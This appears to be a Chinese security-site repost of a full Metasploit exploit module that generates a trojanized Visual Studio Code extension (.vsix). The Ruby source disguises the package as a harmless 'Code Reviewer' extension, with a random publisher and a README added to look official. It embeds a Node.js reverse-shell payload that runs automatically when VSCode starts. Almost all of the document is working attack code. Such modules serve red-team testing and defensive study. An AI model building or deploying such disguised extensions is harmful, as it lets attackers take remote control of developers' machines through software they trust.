标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-3399] 作者: Candy 发表于: [2024-04-26]
本文共 [143] 位读者顶过
此 Metasploit 模块创建一个 vsix 文件,该文件可以作为扩展安装在 Visual Studio Code 中。在激活/安装时,扩展将执行一两个 shell。针对 Ubuntu 22.04 上的 VSCode 1.87.2 进行了测试。 [出自:jiwo.org]
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super( update_info( info, 'Name' => 'Visual Studio vsix Extension Exec', 'Description' => %q{ Creates a vsix file which can be installed in Visual Studio Code as an extension. At activation/install, the extension will execute a shell or two. Tested against VSCode 1.87.2 on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # Metasploit module ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => false, 'FILENAME' => 'extension.vsix', 'WfsDelay' => 3_600, # 1hr 'payload' => 'nodejs/shell_reverse_tcp' # cross platform }, 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS, 'Targets' => [ ['Automatic', {}], ], 'References' => [ ['URL', 'https://medium.com/@VakninHai/the-hidden-risks-of-visual-studio-extensions-a-new-avenue-for-persistence-attacks-e56722c048f1'], # similar idea ['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'], ['URL', 'https://code.visualstudio.com/api/references/activation-events'] # onStartup Action ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'Privileged' => false, 'DisclosureDate' => '2024-03-22' # date of development ) ) register_options([ OptString.new('NAME', [true, 'The name of the extension', 'Code Reviewer']), OptString.new('DESCRIPTION', [true, 'The description of the extension', 'Reviews code']), OptString.new('VERSION', [true, 'The version of the extension', '0.0.1']), OptString.new('README', [false, 'The readme contents for the extension', '']), ]) end def name datastore['NAME'] end def description datastore['DESCRIPTION'] end def version datastore['VERSION'] end def readme datastore['README'] end def manifest %(<?xml version="1.0" encoding="utf-8"?> <PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011"> <Metadata> <Identity Language="en-US" Id="extension-name-fillmein" Version="#{version}" Publisher="#{Rex::Text.rand_text_alpha(10)}" /> <DisplayName>#{name}</DisplayName> <Description xml:space="preserve">#{description}</Description> <Tags></Tags> <GalleryFlags>Public</GalleryFlags> <Properties> <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.60.0" /> <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" /> <Property Id="Microsoft.VisualStudio.Code.ExtensionPack" Value="" /> <Property Id="Microsoft.VisualStudio.Code.ExtensionKind" Value="workspace" /> <Property Id="Microsoft.VisualStudio.Code.LocalizedLanguages" Value="" /> <Property Id="Microsoft.VisualStudio.Services.GitHubFlavoredMarkdown" Value="true" /> <Property Id="Microsoft.VisualStudio.Services.Content.Pricing" Value="Free"/> </Properties> </Metadata> <Installation> <InstallationTarget Id="Microsoft.VisualStudio.Code"/> </Installation> <Dependencies/> <Assets> <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" /> </Assets> </PackageManifest>) end def extension_js %|const vscode = require('vscode'); function activate(context) { #{payload.encoded} } function deactivate() {} module.exports = { activate, deactivate } | end def package_json %({ "name": "#{name.gsub(' ', '.')}", "displayName": "#{name}", "description": "#{description}", "version": "#{version}", "publisher":"#{Rex::Text.rand_name}", "engines": { "vscode": "^1.60.0" }, "activationEvents": ["onStartupFinished"], "main": "./extension.js", "devDependencies": { "@types/vscode": "^1.60.0" } } ) end def exploit # Create malicious vsix (zip archive) containing our exploit files = [ { data: manifest, fname: 'extension.vsixmanifest' }, { data: extension_js, fname: 'extension/extension.js' }, { data: package_json, fname: 'extension/package.json' }, { data: readme, fname: 'extension/README.md' }, # not required, but looks a little more official ] zip = Msf::Util::EXE.to_zip(files) file_create(zip) print_status('Waiting for shell') end |